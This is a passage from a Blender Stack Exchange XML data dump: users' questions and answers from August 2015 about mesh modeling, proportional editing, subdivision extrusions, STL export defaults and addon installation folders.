  <row Id="35576" PostTypeId="2" ParentId="35575" CreationDate="2015-08-12T14:00:17.430" Score="1" Body="&lt;p&gt;You probably didn`t unwrapped whole mesh. go to edit mode select all faces and when unwrap.&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-08-12T14:00:17.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35577" PostTypeId="1" CreationDate="2015-08-12T14:04:54.917" Score="3" ViewCount="2114" Body="&lt;p&gt;I saw this video on YouTube &gt; &lt;a href=&quot;https://www.youtube.com/watch?v=dz2ws7CAkgU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=dz2ws7CAkgU&lt;/a&gt; and was quite interested. From 0:09 till 0:10 you can see that the uploader is moving the verts with proportional editing. I tried this myself but it doesn't work. It doesn't show the proportional editing ring either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ugwHx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ugwHx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me a little?&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="241" LastEditDate="2020-06-20T17:00:15.350" LastActivityDate="2020-06-20T17:00:15.350" Title="Proportional editing on mesh doesn't work" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;&lt;proportional-editing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35578" PostTypeId="1" CreationDate="2015-08-12T14:18:48.937" Score="4" ViewCount="901" Body="&lt;p&gt;I'm trying to make a game, and the camera goes beyond the walls of the room. Is there a way to stop the camera from doing that? Also, if it cannot be done without logic bricks only, can I please have a thorough explanation of the code used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm basically trying to implement a system where if the camera collides with a wall, it moves a little forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend: &lt;a href=&quot;https://drive.google.com/file/d/0B1cRCpiEAXrtOGxWYmRNS3c5RTg/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0B1cRCpiEAXrtOGxWYmRNS3c5RTg/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how this is a &quot;noob&quot; problem; but quick searches online either revealed methods that did not suit my needs, or methods that did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="16361" LastActivityDate="2015-09-13T23:22:44.017" Title="BGE: How do I setup camera collision?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35579" PostTypeId="2" ParentId="35577" CreationDate="2015-08-12T14:20:04.887" Score="4" Body="&lt;p&gt;Proportional editing works with transform operations like move, rotate and scale. Try clicking G to grab and use mouse wheel to set the influence higher and see if that works.  &lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-08-12T14:20:04.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35581" PostTypeId="1" AcceptedAnswerId="35582" CreationDate="2015-08-12T14:33:19.937" Score="6" ViewCount="3453" Body="&lt;p&gt;I tried using the knife tool, which turned out to be a disaster since I have partially paralyzed hands.  I tried loop slide and whatever and it appeared to not do anything.  I tried subdivide and got something I think I can work with but there has to be an easier way.  Can anyone give me a hint or a link to a good basic tips tutorial or anything?&lt;/p&gt;&#xA;" OwnerUserId="16363" LastEditorUserId="5426" LastEditDate="2015-08-13T01:15:50.187" LastActivityDate="2015-08-13T01:15:50.187" Title="How would you make an edge circle around a cone?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-08-12T15:26:56.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="35582" PostTypeId="2" ParentId="35581" CreationDate="2015-08-12T14:48:58.293" Score="8" Body="&lt;p&gt;I'm sure it must be difficult to be unable to do traditional art after having done it for so long. :-/ Great that you're learning 3D though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edge looping cones is a bit tricky. The easiest method that I know of is to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the bottom edge&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; to bevel the bottom edge&lt;/li&gt;&#xA;&lt;li&gt;Select the higher of the two bottom edges, and hit &lt;kbd&gt;G&lt;/kbd&gt; twice to enter edge slide mode. Slide into place.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's an image to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iEvNg.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iEvNg.jpg&quot; alt=&quot;Steps to add an edge loop to a cone.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, I would recommend sliding your first edge loop all the way to the top, then deleting everything above it--so that the very top of your cone is actually a tiny edge ring. You can then use &lt;kbd&gt;F&lt;/kbd&gt; to fill it to cap it off. This'll make it so that you can use the regular edge loop tool to create edge loops in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="15708" LastActivityDate="2015-08-12T14:48:58.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35583" PostTypeId="2" ParentId="35571" CreationDate="2015-08-12T15:41:04.623" Score="2" Body="&lt;p&gt;When you do the update the installer file it should be an .msi file. if the one you have is zipped, unzip the file in a temporary file location, and the double click the &lt;i&gt;[filename]&lt;/i&gt;.msi file.  You should ensure that you install it in the same directory as previous installations, if you did not use the default for your previous or first install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon, after it is unzipped should be a *.py file; you can find help on this installation at this location: &lt;a href=&quot;https://blender.stackexchange.com/questions/1688/installing-an-addon&quot;&gt;Installing an addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-12T15:41:04.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35584" PostTypeId="2" ParentId="32717" CreationDate="2015-08-12T15:57:20.720" Score="1" Body="&lt;p&gt;Have you had a look at the &lt;a href=&quot;https://github.com/jaredly/blender-addons&quot; rel=&quot;nofollow&quot;&gt;blender-addons&lt;/a&gt; repository?&#xA;There are quite a few resources available for you to dive in, like this one for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jaredly/blender-addons/blob/master/io_import_scene_mhx.py&quot; rel=&quot;nofollow&quot;&gt;io_import_scene_mhx.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ImportMhx&lt;/code&gt; class at line &lt;code&gt;2958&lt;/code&gt; gives you a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="7460" LastActivityDate="2015-08-12T15:57:20.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35585" PostTypeId="2" ParentId="35516" CreationDate="2015-08-12T16:21:29.867" Score="-1" Body="&lt;p&gt;I Managed to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into 'object mode' select the figure mesh(not the armature), and look at the vertex groups assign to that specific mesh. My problem was that my vertex groups were all out of alignment (The vertices were spread in placed i didnt intend to put). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i deleted all of my Vertex groups, and stated assigning new one with the correct vertices.&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-12T16:21:29.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35586" PostTypeId="2" ParentId="35555" CreationDate="2015-08-12T16:39:48.393" Score="2" Body="&lt;p&gt;This is actually two questions (probably more): The first is using weights to connect the bones to the mesh.  This is done in Weight Paint mode.&#xA;Here's a link to several answers which would help: &lt;a href=&quot;https://blender.stackexchange.com/search?q=Use+Weight+paint+mode&quot;&gt;https://blender.stackexchange.com/search?q=Use+Weight+paint+mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is moving bones; which really just consists of selecting a bone, and moving it in a pose.  However, this is related to parenting the bones and weight paint:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/search?q=Parenting+bones&quot;&gt;https://blender.stackexchange.com/search?q=Parenting+bones&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly a third question regarding adding clothes; but, you should try to ask only one question at a time.  I realize with moving bones, this doesn't appear to be a multi-question problem.  Hopefully these links will help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had to reset the pose like you mention, but, I searched for information on how to change the pose and make this and the deformed mesh the default.  It says here that this presumes the weights are properly set and the deformations on the mesh work properly.  Credit goes to NixArt for this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This procedure supposes that you have already rigged and weight-painted your object so that it deforms correctly. At this point, you simply want a different rest pose for your object. However, when selecting “Apply Pose as Rest Pose”, you do not want to waste your time correcting your mesh and redo the weight painting for your new rest pose. Here is how you can do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your armature and go in “Pose Mode”.&#xA;Pose your object in your new rest pose.&#xA;Go in “Object Mode” and select your deformed object.&#xA;In the object’s “Object Modifiers” stack, copy the “Armature Modifier” by pressing the “Copy” button. You should have two “Armature Modifiers”, one above the other in the stack, with the same parameters. This will deform your object twice, but it is ok. If you go in “Edit Mode”, you will see that the mesh has been deformed in your new rest pose.&#xA;Apply the first “Armature Modifier” (the top one), but keep the bottom one. The latter will replace the old “Armature Modifier” and will allow to pose your object with respect to your new rest pose. At this point, the object will still be deformed twice. That is because we need to apply the current pose as the new rest pose.&#xA;Select your armature and go in “Pose Mode”.&#xA;“Apply Pose as Rest Pose” in the “Pose” menu. This will clear the double deformation and put your object in your new rest pose.&quot; - NixArt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://nixart.wordpress.com/2013/03/28/modifying-the-rest-pose-in-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://nixart.wordpress.com/2013/03/28/modifying-the-rest-pose-in-blender/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and possibly this tutorial&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=r1AkueG7zpY&amp;amp;ab_channel=MakeHuman&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=r1AkueG7zpY&amp;amp;ab_channel=MakeHuman&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-08-12T21:31:22.380" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35587" PostTypeId="2" ParentId="21792" CreationDate="2015-08-12T16:50:47.143" Score="2" Body="&lt;p&gt;Here is what I do for my games. On each enemy you want to setup the following:&lt;a href=&quot;https://i.stack.imgur.com/Z2wAk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z2wAk.png&quot; alt=&quot;Logic Bricks for enemy damage&quot;&gt;&lt;/a&gt;&#xA;This checks for a collision with the material &quot;Bullet&quot;, which would be the material assigned to your projectile. When it detects that collision it will take 10 LF(Life) of of the object. The second row of bricks tells it that when LF=0 the object should end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the LF in the properties (hit N), and you can change the damage of the bullet in the bricks.&lt;/p&gt;&#xA;" OwnerUserId="7537" LastActivityDate="2015-08-12T16:50:47.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35588" PostTypeId="1" AcceptedAnswerId="35595" CreationDate="2015-08-12T17:41:35.263" Score="2" ViewCount="587" Body="&lt;p&gt;I model in millimeters inside Blender, for 3D printing.&#xA;Every time I want to Export STL, I have to untick &lt;strong&gt;Scene Units&lt;/strong&gt; and change the &lt;strong&gt;Scale&lt;/strong&gt; to &lt;code&gt;10.0&lt;/code&gt;. These settings aren't remembered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgrush.com/EQ6B6KhOo3yn&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;https://imgrush.com/EQ6B6KhOo3yn.jpg&quot; alt=&quot;Blender config for 3D printing&quot; title=&quot;Blender config for 3D printing Video&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I save them as defaults?&lt;/p&gt;&#xA;" OwnerUserId="16366" LastEditorUserId="16366" LastEditDate="2015-08-12T21:11:35.990" LastActivityDate="2015-08-13T13:47:21.387" Title="How to make Blender remember STL export settings as default" Tags="&lt;interface&gt;&lt;customization&gt;&lt;units&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35589" PostTypeId="1" AcceptedAnswerId="35603" CreationDate="2015-08-12T19:16:55.060" Score="5" ViewCount="5082" Body="&lt;p&gt;When I start Blender, I am shown the Outliner on the right side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RQqNu.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQqNu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow I very often manage to hide it. I think it happens when I unwrap and have the &quot;UV Edit&quot; window shown on the left side of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me how to restore / show it again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-08-12T20:20:18.073" LastActivityDate="2018-10-23T20:52:23.787" Title="Restore / Show Outliner again" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35590" PostTypeId="1" AcceptedAnswerId="35598" CreationDate="2015-08-12T20:28:10.603" Score="3" ViewCount="1673" Body="&lt;p&gt;When I try to extrude a face on a cube that has a subdivision surface modifier it's always circular. Even when using edge loops. How can I achieve this? I'm new so I'm sure I'm missing something here. There is still a lot of things I don't know how to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to get a box shaped extrusion (like the type of extrusion that you get on a cube with no subdivision surface on it) on a cube that has the subdivision surface modifier on it. The picture below shows what happens when I extrude on this cube that has the subdivision surface modifier on it. How can I make that circular extrusion rectangular?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top picture is subdivision turned off and then you see in the bottom picture that when I turn it on my extrusion becomes circular. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rIqRO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIqRO.png&quot; alt=&quot;Here is subdivision surface switched off&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AMs38.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMs38.png&quot; alt=&quot;Here is subdivision surface turned on&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16367" LastEditorUserId="16367" LastEditDate="2015-08-12T22:22:58.020" LastActivityDate="2015-08-13T00:00:09.057" Title="How do I make a boxed extrusion on a cube that has a subdivision surface modifier?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35591" PostTypeId="1" AcceptedAnswerId="35596" CreationDate="2015-08-12T20:28:33.960" Score="15" ViewCount="1344" Body="&lt;p&gt;I am trying to create a scribble drawing but make it spherical as if the pencil or pen lines are twisted within. I have tried to extrude planes and uv map a texture to those planes and unfortunately I lose dimension when planes are parallel to the camera view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bIYEC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bIYEC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts to approach this would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="2993" LastActivityDate="2015-08-19T06:15:15.137" Title="How could I create a 3 Dimensional scribble or doodle?" Tags="&lt;modeling&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35592" PostTypeId="1" CreationDate="2015-08-12T20:39:00.450" Score="1" ViewCount="83" Body="&lt;p&gt;Opening a blend file with blender does not localize the blender executable's python interpreter context&#xA;    eg a valid call to bpy.context from an external python interpreter does not appear to be faciliated by any documented facility&#xA;is it possible to open the blend file with blender with a provided python interpreter?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The only other way to enable interaction with an opened file daemon would be to io with the executable on a port&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's unlikely that python has any general purpose for sharing the python interpreter's context, ie an rpc api (that is callable from an external python interpreter in a interchangeable way) for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;general purpose memory reading/writing&lt;/li&gt;&#xA;&lt;li&gt;command execution&lt;/li&gt;&#xA;&lt;li&gt;any other constructs relevant to python&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14797" LastActivityDate="2015-08-12T20:39:00.450" Title="Executing blender with an executing python interpreter (ie parent process access to bpy.context)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35593" PostTypeId="1" AcceptedAnswerId="35623" CreationDate="2015-08-12T20:46:55.800" Score="3" ViewCount="1010" Body="&lt;p&gt;When I first learned how to retopologize a model, I wanted to connect two vertices to finish one of my faces.  However, I could not find any obvious tools to connect to vertices, and the book I was using did not mention connecting vertices.  How do I connect these vertices?&lt;/p&gt;&#xA;" OwnerUserId="16311" LastActivityDate="2015-08-13T06:47:38.653" Title="Connetcting Vertices While Retopologizing" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35594" PostTypeId="2" ParentId="35593" CreationDate="2015-08-12T20:58:57.613" Score="2" Body="&lt;p&gt;If you mean merge vertices then, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;, should do it, you can choose to merge your vertices in the center, at first, at last, at cursor and also you can collapse them. &lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-12T20:58:57.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35595" PostTypeId="2" ParentId="35588" CreationDate="2015-08-12T21:10:24.680" Score="2" Body="&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;Manually&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To remember unit settings make your adjustments then &lt;strong&gt;File&lt;/strong&gt; &gt; &lt;strong&gt;Save Startup File&lt;/strong&gt; &lt;code&gt;(Ctrl-U)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To change STL Export defaults navigate to&lt;br&gt;&#xA;&lt;code&gt;C:\Program Files\Blender Foundation\Blender\2.74\scripts\addons\io_mesh_stl&lt;/code&gt;&lt;br&gt;&#xA;and open the &lt;code&gt;__init__.py&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;global_scale&lt;/code&gt; is at &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender-addons.git/blob/HEAD:/io_mesh_stl/__init__.py#l166&quot; rel=&quot;nofollow&quot;&gt;__init__.py#L166&lt;/a&gt;, change &lt;code&gt;default=1.0&lt;/code&gt; to &lt;code&gt;10.0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;use_scene_unit&lt;/code&gt; is below at &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender-addons.git/blob/HEAD:/io_mesh_stl/__init__.py#l172&quot; rel=&quot;nofollow&quot;&gt;__init__.py#L172&lt;/a&gt;, change &lt;code&gt;default=True&lt;/code&gt; to &lt;code&gt;False&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Windows PowerShell Script&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/akaleeroy/453f5ab97e1347eeede0&quot; rel=&quot;nofollow&quot;&gt;Configure Blender STL Export default settings - GitHub Gist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16366" LastEditorUserId="16366" LastEditDate="2015-08-13T13:47:21.387" LastActivityDate="2015-08-13T13:47:21.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35596" PostTypeId="2" ParentId="35591" CreationDate="2015-08-12T21:11:10.993" Score="15" Body="&lt;p&gt;There are a couple ways you could go about this.&lt;/p&gt;&#xA;&lt;h1&gt;Curve object&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve object (I used a path, &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Curve &amp;gt; Path&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;edit mode&lt;/em&gt; (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;), extrude a vertex around randomly (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot; /&gt; LMB&lt;/kbd&gt; is a fast way to extrude a vertex many times)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Randomize&lt;/em&gt; operator in edit mode to further increase randomness (&lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&amp;gt; Randomize&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FslJx.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FslJx.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Grease Pencil&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Continuous Draw&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Tool Shelf &amp;gt; Grease Pencil&lt;/em&gt; and press &lt;em&gt;Draw&lt;/em&gt; to start drawing&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Draw scribbles while rotating the view at intervals&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9p43m.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9p43m.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you are satisfied with your scribble, convert it to a curve object with the &lt;em&gt;Convert&lt;/em&gt; button in the tool shelf:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7MMh6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MMh6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-12T21:11:10.993" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35597" PostTypeId="1" AcceptedAnswerId="35607" CreationDate="2015-08-12T21:20:50.953" Score="7" ViewCount="1338" Body="&lt;p&gt;When I parent an object to follow a path and animate it, I only get a linear mode animation and changing that in Grapth Editor to bezier doesn't work! How to do that?&lt;/p&gt;&#xA;" OwnerUserId="7894" LastActivityDate="2015-08-13T01:06:34.863" Title="How to do a bezier interpolation mode animation along a path?" Tags="&lt;animation&gt;&lt;path&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35598" PostTypeId="2" ParentId="35590" CreationDate="2015-08-12T22:18:16.607" Score="3" Body="&lt;p&gt;Select the end face, and the four edges. Next press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to crease the selected edges.&#xA;You can also crease the edge loop at the base to make the extrusion like a cube. This method works mostly the same for extruding inwards as for extruding outwards. You may need to crease more edges, especially those on the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fqNzq.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqNzq.gif&quot; alt=&quot;Ill&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wwBt4.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wwBt4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-08-12T22:29:24.590" LastActivityDate="2015-08-12T22:29:24.590" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35599" PostTypeId="2" ParentId="35590" CreationDate="2015-08-12T22:42:50.967" Score="1" Body="&lt;p&gt;Make loopcuts along in the planes that are parallel to the circular face's normal and slide them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TmFWS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TmFWS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/GyZRS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GyZRS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZQQIm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZQQIm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or crease all the edges around the border with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cxfUb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxfUb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-12T22:42:50.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35600" PostTypeId="2" ParentId="1688" CreationDate="2015-08-12T23:03:16.143" Score="6" Body="&lt;p&gt;This is an alternative method that works well with multiple file addons as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move or create an addon directory into the addons folder of your blender settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for Linux and Blender 2.69:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/$user/.blender/2.69/scripts/addons/m3addon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example for Windows 7 and Blender 2.69:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\%username%\AppData\Roaming\Blender Foundation\Blender\2.69\scripts\addons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example for Windows XP and Blender 2.69:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\%username%\Application Data\Blender Foundation\Blender\2.69\scripts\addons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example for Mac OSX and Blender 